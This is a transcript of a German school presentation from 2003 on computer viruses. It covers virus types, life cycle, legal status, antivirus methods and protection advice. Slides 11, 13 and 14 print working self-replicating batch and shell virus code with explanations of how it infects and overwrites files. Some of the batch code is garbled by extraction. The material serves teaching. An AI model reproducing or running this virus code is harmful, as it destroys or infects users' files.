Die Präsentation wird geladen. Bitte warten

Die Präsentation wird geladen. Bitte warten

Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2.

Ähnliche Präsentationen


Präsentation zum Thema: "Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2."—  Präsentation transkript:

1 Fachvortrag: Computerviren Am © Kaiser Sebastian / IAV 2

2 Was Euch erwartet!!! - Begriffsdefinition - Grundsätzlicher Aufbau - Verbreitungswege - Lebenszyklus - Unterschiedliche Arten - Rechtslage - Detaillierte Infos über spezielle Virenarten - Schutz vor Viren / Funktion und Test von Virenscannern - Quellen und Verweise für tiefere Informationen

3 Allgemeine Begriffsklärung (aus verschiedenen Lexiken) Computerviren: In Rechner eingeschleuste Störprogramme, die sich vervielfältigen, nachdem ein Codewort eingegeben oder ein Datum erreicht wird. Computerviren können zur Verstopfung von Speicher oder Vernichtung ganzer Datenbestände führen. Virus (PC): Von einem Programmierer absichtlich erzeugtes Programm zur Manipulation oder gezielten Zerstörung von Systemen oder Daten.

4 Aufbau grundsätzlich Vervielfältigungsteil: sind selbstproduzierend Programmteil: Schadensroutine (playload) error error error error error error error error error error

5 Disketten und Wechselplatten Netzwerke Internet-Downloads Internet Verbreitungswege

6 Lebenszyklus eines Virus PHASE 1: ERSTELLUNG PHASE 2: VERBREITUNG PHASE 3: AKTIVIERUNG PHASE 4: ENTDECKUNG PHASE 5: ANPASSUNG PHASE 6: VERNICHTUNG Virenentwickler Antiviren - Software

7 ActiveX – Viren Bootsektor – Viren Datei – Viren Java – Viren Makro – Viren Würmer Skript – Viren Trojaner Übersicht: Virenarten

8 Rechtslage ungenau auch nur versuchte - Anwendung Veränderung von Daten weitreichenden Schadenersatzforderungen Schutz vor Raubkopien nur so weit gedeckt, als nur das betroffene Programm Die Rechtslage im Bereich von Computerviren ist in Deutschland sehr ungenau. Das Programmieren von Computerviren ist demnach nicht ausdrücklich verboten, sehr wohl aber deren - auch nur versuchte - Anwendung und vor allem die daraus resultierende Veränderung von Daten. Strafbar ist die Anwendung jedes Virus, auch wenn er keinen Schaden anrichtet, da in jedem Fall durch das Kopieren des Virusprogramms eine Veränderung von Datenbeständen erfolgt, wenngleich es keine wirklich genauen Bestimmungen zur indirekten Verbreitung von Viren, etwa durch Einschleusen in Netzwerke anstatt durch direkten Einsatz an einem zu manipulierenden Computer, gibt. In Deutschland ist allerdings mit weitreichenden Schadenersatzforderungen sowie einer Bestrafung für andere, durch den Vireneinsatz begangene Delikte, etwa Betrug durch einen Virus, der Bankguthaben verschiebt, zu rechnen. Immer wieder wird der Einsatz von Viren als Schutz vor Raubkopien diskutiert, d.h. ein illegal benütztes Programm setzt einen Virus frei. Dies ist allerdings rechtlich nur so weit gedeckt, als nur das betroffene Programm - und kein Byte mehr - in Mitleidenschaft gezogen wird.

9 Kurze Wiederholung - Wie wird ein Virus definiert? - In welche Teile ist ein Virus gegliedert? - Welche Verbreitungswege gibt es? - Wie schaut der Lebenszyklus aus? - Welche unterschiedliche Arten gibt es? - Rechtslage

10 Datei - Virus Dateiviren infizieren ausführbare Programme (im allgemeinen Dateien mit der Endung.com bzw..exe). Die meisten dieser Viren versuchen einfach, sich zu vermehren und sich auszubreiten, indem sie andere Wirtsprogramme infizieren – aber einige zerstören versehentlich das Programm, das sie infizieren, indem sie Teile des Originalcodes überschreiben. Einige dieser Viren haben eine große Zerstörungskraft und sind beispielsweise darauf programmiert, die Festplatte zu einer festgesetzten Zeit zu formatieren oder eine andere böswillige Aktion auszuführen. In vielen Fällen kann ein Dateivirus erfolgreich aus der infizierten Datei entfernt werden. Hat der Virus einen Teil des Programmcodes überschrieben, lässt sich die Originaldatei nicht wiederherstellen.

11 Beispiel: Wagner Virus (batchorientiert) der von Black Wolf 1993 in Virology 101 praesentiert off ctty nul for %f in (*.exe *.com) do set A=%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty exist V%0.com V%0.com %1 %2 exist V%0.exe V%0.exe %1 %2 %3 Befehle werden nicht angezeigt! Alle Ausgaben ins Nichts leiten.'Benutzer sieht nicht, dass Dateien kopiert wurden. Alle exe und com dateien / in Var. A speichern Falls A Datei Command.com enthaelt, A=0 gefundene Datei wird umbenannt in Vname Falls umbenennen nicht möglich ENDE Datei wird versteckt Virus (%0%) wird an die Stelle der COM Datei kopiert Nun wird die Datei vor dem Ueberschreiben geschuetzt Umbenennung in eine.bat

12 Script - Virus Skriptviren sind in einer Skript-Programmiersprache wie z.B. VBScript oder JavaScript geschrieben. VBScript (Visual Basic Script)-Viren und JavaScript-Viren machen sich den Microsoft Windows Scripting Host zunutze, um sich selbst zu aktivieren und andere Dateien zu infizieren. Da der Windows Scripting Host auf Windows 98 und Windows 2000 verfügbar ist, können die Viren einfach durch Doppelklick auf die *.vbs- oder *.js-Datei im Windows Explorer aktiviert werden. Allerdings gibt es neben solchen Skriptviren auch Shell – Script – Viren! (Unix, Linux)

13 Beispiel Script Virus #Overwritter I for file in * do cp $0 $file done Beim rechten Bsp. wird vorher getestet, ob es eine Datei ist, sie ausführbar ist und Schreibrechte vorhanden sind! #Overwritter II for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then cp $0 $file fi; fi; fi; fi; fi done rm.mmm -f Dieses einfache Script kopiert seine Datei über alle anderen Files die es findet!

14 # COCO head -n 24 $0 >.test for file in * do if test -f $file //ist es ein file then if test -x $file //ausführbar then if test -w $file //beschreibbar then if grep -s echo $file >.mmm then head -n 1 $file >.mm if grep -s COCO.mm >.mmm then rm.mm –f else cat $file >.SAVEE cat.test > $file cat.SAVEE >> $file fi; fi; fi; fi; fi done rm.test.SAVEE.mmm.mm -f Das # COCO dient dazu, das der Virus erkennt, ob eine Datei bereits infiziert ist. ( if grep -s COCO.mm >.mmm überprüft dies ). Danach wieder die Tests, ob die Datei ein potentielles Opfer ist. Ist die Datei nicht infiziert, dann kopieren wir sie in eine zweite, versteckte Datei (.SAVEE). Nun ersetzen wir die Zieldatei mit den ersten 24 Zeilen unserer Shell Script Datei, die wir vorher in.test gespeichert haben. ( Die ersten 24 Zeilen sind genau unser Virus ) Nun hängen wir noch die Originaldatei an (cat.SAVEE >> $file ) und die Infektion ist komplett. Nun räumen wir noch alle Dateien auf, die wir während der Infektion erstellt haben.

15 Schutz vor Viren 1) Niemals eine "fremde" Diskette einlegen, ohne diese geprüft zu haben. 2) Im BIOS die Option ausschalten von Diskette oder CD als erstes zu booten, da sich viele Viren über den Bootsektor von Disketten oder anderen Wechselmedien verbreiten. 3) Neue Programme mit einem aktuellen Virenscanner vor der Ausführung prüfen! Bzw. speicherresidenten Virenwächter. 4) Dokumente sollten auch mit einer aktuellen Antivirensoftware regelmäßig geprüft werden. Weiter sollten Sie - sofern vorhanden - die Schutzmechanismen der eingesetzten Applikation aktivieren. Melden diese Schutzfunktionen Makros, wo keine vorhanden sein sollten, ist höchste Vorsicht angebracht. 5) In Computernetzwerken sollten die Zugriffsrechte für alle Benutzer auf das minimal notwendige Maß reduziert werden. Für Programmdateien sollte nur "Leserecht" existieren. Bei einer eventuellen Infektion kann sich der Virus hierdurch nicht allzu einfach verbreiten. 6) Verwenden Sie Administrator- oder Supervisor-Rechte beim Zugriff auf den Server nur, wenn Sie sie unbedingt benötigen. Erteilen Sie den Benutzern im Login- Verzeichnis keine Schreibrechte, damit die dort liegenden Programme nicht infiziert werden können. Installieren Sie eine gute Antivirensoftware (z.B. TrendMicro) auf Ihrem Server.

16 Der Virenscanner Die Erkennung eines Virus kann auf mehrere Arten erfolgen: - Alle Dateien oder Speicherbereiche werden mit einer Byte-Abfolge (Suchstring) verglichen die für einen bestimmten Virus typisch ist und in keinem normalen Programm vorkommt. Dabei können in dem String auch Wildcards ( ? ; * ) enthalten sein, so dass auch Viren gefunden werden, die ihren Code leicht verändern (Polymorphe). - Eine andere Möglichkeit (Heuristik) besteht darin gewisse Programmteile (Delta Offset Routine, Verschlüsselungsroutine...) zu suchen! Dann wird vermutet, dass die Datei infiziert ist! - Methode zum Auffinden unbekannter Viren! Emulation Dabei wird jede Datei behandelt als ob sie ausgeführt werden würde, wenn man dann bei diesem Schein-Ausführen bemerkt das der Code der Datei an eine andere gehängt werden soll (oder ähnlich virentypisches Verhalten) wird sie als verdächtigt angezeigt. Mit dem EICAR – Test – File kann ein Virenscanner getestet werden! (.com )

17 Anhang: Virenattacken Top-Computerviren 1. PE_NIMDA.A-O 2. WORM_KLEZ.H 3. JS_NOCLOSE.E 4. PE_FUNLOVE PE_ELKERN.D Aktuelle Virenhinweise WORM_LOVGATE.C ( ) WORM_YAHA.P ( ) WORM_CYDOG.B ( ) WORM_AGOBOT.D ( ) WORM_FRETHEM.M ( ) Informationen von TrendMicro

18 Überblick - Was ist ein Datei – Virus? - Was bezeichnet man als Script – Virus? - Wie schütze ich mich vor Viren? - Wie arbeitet ein Virenscanner?

19 Quellen und Verweise Virentutorials Virenscanner - Hersteller Bundesamt für Sicherheit in der IT Deutsches Forschungsnetz Virenscanner – Hersteller wildlist (große Gefahr der Infektion) Infos über Viren / mit source code hier bekommt man das eicar.com File

20 Anhang: kurze Doku der Viren nach Techniken Speicherresidente Viren: Einige Viren nisten sich resident im Hauptspeicher ein, um jederzeit das System kontrollieren zu können. Unter anderem werden Festplattenzugriffe, Tastatureingaben, Druckerausgaben etc. vom Virus überwacht und ggf. manipuliert. Residente Viren bleiben also nach der Ausführung aktiv und können eine Schadensroutine zu späteren Zeitpunkten ausführen. Der Benutzer wird zwischen der Ausführung des infizierten Programms und einem Schaden, der nach Beendigung des infizierten Programms auftritt, keinen Zusammenhang erkennen. Ein residenter Virus kann vom Zeitpunkt seiner Aktivierung an zu jeder Zeit neue Programmdateien infizieren. Schon das DOS-Kommando DIR führt bei einigen residenten Viren zu einer Infektion. Da es unter Windows (9x und NT) keine eigentlichen residenten Programme (TSR's) mehr gibt, verwenden die Viren sog. Dienste oder VxD's, um eine permanente Kontrolle über das System zu erlangen. Dienste oder VxD's sind Programme, die wie TSR's resident im Speicher verankert sind und ihre Arbeit im Hintergrund verrichten. Residenz ist die Voraussetzung für einige weitere Techniken (siehe Stealth- Viren). Residente Viren können (im Normalfall) im Speicher des Computers mit einem normalen Suchstring erkannt werden. Nicht residente Viren werden nur bei der Ausführung des infizierten Programms aktiv und infizieren dann weitere Programme. Sobald das Programm beendet wird, wird der Virus ebenfalls deaktiviert. Stealth-Viren sind immer auch speicherresident und versuchen, über spezielle Tricks ihre Anwesenheit im System zu verschleiern. Dazu überwachen und manipulieren sie z.B. Zugriffe auf Programmdateien und das Inhaltsverzeichnis, um so einem Antivirenprogramm oder dem Anwender ein sauberes System vorzugaukeln. Versucht das Betriebssystem, z.B. beim Befehl DIR, die Größe einer infizierten Programmdatei zu ermitteln, subtrahiert der Stealth-Virus von der tatsächlichen Dateilänge die Länge des Viruscodes und täuscht so eine korrekte Programmlänge vor. Wird eine Programmdatei nicht ausgeführt, sondern nur gelesen, z.B. von einem Virenscanner, entfernt der Virus aus der zu lesenden Datei den Viruscode, so dass der Virenscanner den Virus nicht in der Programmdatei finden kann. Verschlüsselte Viren: Mit dieser Technik versuchen einige Viren, sich vor Antivirenprogrammen zu verstecken, indem Sie ihren eigenen Programmcode transformieren. Der Virus konvertiert sich dabei selber in verschlüsselte, unleserliche Zeichen, die vom Antivirenprogramm nicht erkannt werden. Um sich allerdings weiter verbreiten zu können und ausgeführt zu werden, muss sich der Virus wieder decodieren und kann dann entdeckt werden. Polymorphe Viren: Diese Art von Viren "mutiert" dadurch, dass Sie ihren eigenen Programmcode manipulieren und so bei jeder Infektion ihr "Aussehen" verändern. Hierbei werden z.B. bestimmte Befehle auf unterschiedliche Art und Weise codiert. Polymorphe Viren sind meistens auch noch verschlüsselt. Ein polymorpher Virus kann u.U. mehrere Milliarden verschiedene Mutationen erzeugen und so die Erkennung mit herkömmlichen Suchmethoden (Suchstring) unmöglich machen. Direct-Action-Viren infizieren bei der Ausführung des infizierten Programms sofort weitere Programmdateien und führen eine eventuell vorhandene Schadensroutine sofort aus (u.U. nur bei Eintreten bestimmter Bedingungen wie Zeit/Datum, Zähler etc.). Nach der Ausführung übergibt der Virus die Kontrolle an das ursprüngliche Programm und entfernt sich damit aus dem Hauptspeicher. Der Virus führt seine Aktionen direkt nach dem Programmstart aus.

21 Slow Viren führen ihre Schadensroutine nicht sofort aus, sondern verändern Daten minimal. Sie versuchen dadurch, möglichst lange Zeit unentdeckt zu bleiben. Werden Datenmanipulationen über einen längeren Zeitraum nicht entdeckt oder nicht auf einen Virus zurückgeführt, wird ein Benutzer Datensicherungen durchführen. Diese Datensicherungen enthalten aber schon die manipulierten bzw. verfälschten Daten und sind somit im Falle einer Datenrestaurierung wertlos. Solche langsamen, zerstörerischen Viren können erheblichen Schaden anrichten. Dateiviren: Dies sind Viren, die sich an bestehende Programmdateien auf Diskette bzw. Festplatte anhängen, wobei das bestehende Programm (der Wirt) um den Virus erweitert oder der Wirt ganz oder teilweise überschrieben wird. Startet der Anwender solch ein infiziertes Programm, so wird vor der Ausführung des eigentlichen Programms der Virus aktiviert, der seinerseits dann den Wirt aktiviert. Programmviren kommen also (meistens) erst beim Starten von Programmdateien zur Ausführung. Bootviren: Diese Art von Computerviren befällt die Systembereiche von Disketten oder Festplatten. Bei diesen Systembereichen handelt es sich um den sogenannten Bootsektor bzw. Master-Bootsektor (Partitionstabelle). Dieser enthält Programmteile, die schon beim Start des Computers (Booten) ausgeführt werden. Infiziert ein Computervirus einen solchen Bereich, wird der Virus aktiviert, sobald der Computer eingeschaltet wird. Companion-Viren: sind Viren, die anstatt sich an eine bestehende Datei anzuhängen ein neues Programm erzeugen, von dem der Benutzer allerdings nichts weiß. Dieses neue Programm (der Virus) wird nun anstelle des gewünschten Programms aufgerufen und so der Virus aktiviert. Beim Verlassen dieses Programms wird dann das Original gestartet, so dass der Benutzer nicht merkt, dass er gerade den Virus aktiviert hat. Bei PC's wird dabei normalerweise ein.COM Programm mit dem selben Namen wie die entsprechende.EXE-Datei erzeugt. Durch Eingabe des Namens auf der Kommandozeile wird nun aber (per Systemdefinition) zuerst nach einer.COM-Datei gesucht und diese ggf. gestartet. Nur wenn keine.COM-Datei vorhanden ist, sucht das Betriebssystem anschließend nach der.EXE-Datei und startet sie. Prüfsummenprogramme bemerken solche Viren häufig nicht, da im Originalprogramm keinerlei Veränderung feststellbar ist. Tunnelnde Viren: Sind Viren, die nach den originalen Interrupt-Handlern für DOS und das BIOS suchen und diese dann direkt aufrufen. Hierdurch werden eventuelle Wächterprogramme unter DOS umgangen, die sich gerade in diese Interrupts eingeklinkt haben, um Virenaktivitäten erkennen zu können. Dropper: Ein Dropper ist ein Programm, das einen richtigen Virus im Zielsystem installiert. Der Virencode ist dabei normalerweise in einer Art und Weise im Dropper enthalten, die es Antivirenprogrammen unmöglich macht, den Virus als solchen im Dropper zu erkennen. Active-X-Viren: Bei Active-X handelt es sich um eine Microsoft-spezifische Art, reinen Programmcode von einem (Internet- )Server auf den Arbeitsplatzrechner zu übertragen und dort auszuführen. Viren können dies ausnutzen und sich problemlos weiter verbreiten. Unseres Wissens existiert aber bis auf sog. Malware, also reine Trojaner, heute noch kein funktionierender Virus dieses Typs. Diese Viren sind (derzeit) nur auf dem Betriebssystem MS Windows und dem dort eingesetzten MS Internet- Explorer funktionsfähig. VB-Script-Viren: Auch Visual Basic (VB) - Script kann dazu verwendet werden, Programmcode von einem Web-Server auf den Arbeitsplatzrechner zu übertragen und auszuführen. Viren dieses Typs sind im Umlauf. Das reine Ansehen einer Homepage im Internet genügt, um den eigenen Rechner zu infizieren. Allerdings ist wieder nur der MS Internet-Explorer bei abgeschalteten Sicherheitsvorkehrungen betroffen. Java Viren: Im Gegensatz zu Java-Applets, die häufig in Browsern zur Animation oder Steuerung bestimmter Dinge verwendet werden, können reine Java-Programme auch sicherheitskritische Operationen ausführen, z.B. auf Festplatte schreiben, usw. Die ersten Viren dieser Machart sind bereits aufgetaucht, mit weiteren ist zu rechnen.

22 Vielen Dank für Eure Aufmerksamkeit!


Herunterladen ppt "Fachvortrag: Computerviren Am 05.05.2003 © Kaiser Sebastian / IAV 2."

Ähnliche Präsentationen


Google-Anzeigen